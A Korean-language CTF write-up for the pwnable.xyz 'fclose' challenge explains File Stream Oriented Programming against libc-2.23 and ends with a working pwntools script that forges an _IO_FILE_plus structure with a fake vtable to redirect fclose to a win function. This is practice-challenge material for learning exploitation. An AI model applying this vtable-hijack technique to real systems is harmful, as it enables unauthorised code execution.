[pwnable.xyz] fclose
Pwn/pwnable.xyz

[pwnable.xyz] fclose

반응형
문제 풀이 환경 : Ubuntu 16.04

문제 이름만 봐도 FSOP(File Stream Oriented Programming)이란 걸 알려주고 있고, 문제 설명에서는 어떤 버전의 _IO_FILE 구조체를 쓰는지도 알려주고 었다.

(libc-2.23 -> Ubuntu 16.04)

📝 Analysis


<< Code >>

· main

매우 심플하다.

딱 보기에 입력할 수 있는 크기도 커서 내가 직접 _IO_FILE_plus 구조체를 작성해서 FSOP을 해보라는 의도의 코드다.

>> file 관련 구조체는 어떻게 생겼지??

 

🧩 Exploit Scenario 


문제에서 주어진 환경이 Ubuntu 16.04이기 때문에 아직까지는 _IO_vtable_check 함수(vtable의 validation 체크)가 없어서 vtable을 편하게 조작해줄 수 있다.

 

[vtable 오프셋 전까지 dummy] + [조작된 vtable 주소] + [vtable이 가리키는 곳에서 0x10만큼 떨어진 곳(fclose는 _IO_finish를 호출함)]

 

 

🚩 Flag 🚩


from pwn import *

# p = process('./fclose')
p = remote('svc.pwnable.xyz', 30018)
e = ELF('./fclose')

cur = e.sym['input']
win = e.sym['win']

fake_file  = p64(0) * 17
fake_file += p64(cur + 0x500) # lock
fake_file += p64(0) * 9
fake_file += p64(cur + 0xe0) # vtable (right under)
fake_file += p64(0) * 2
fake_file += p64(win)
p.sendlineafter('> ', fake_file)

 

반응형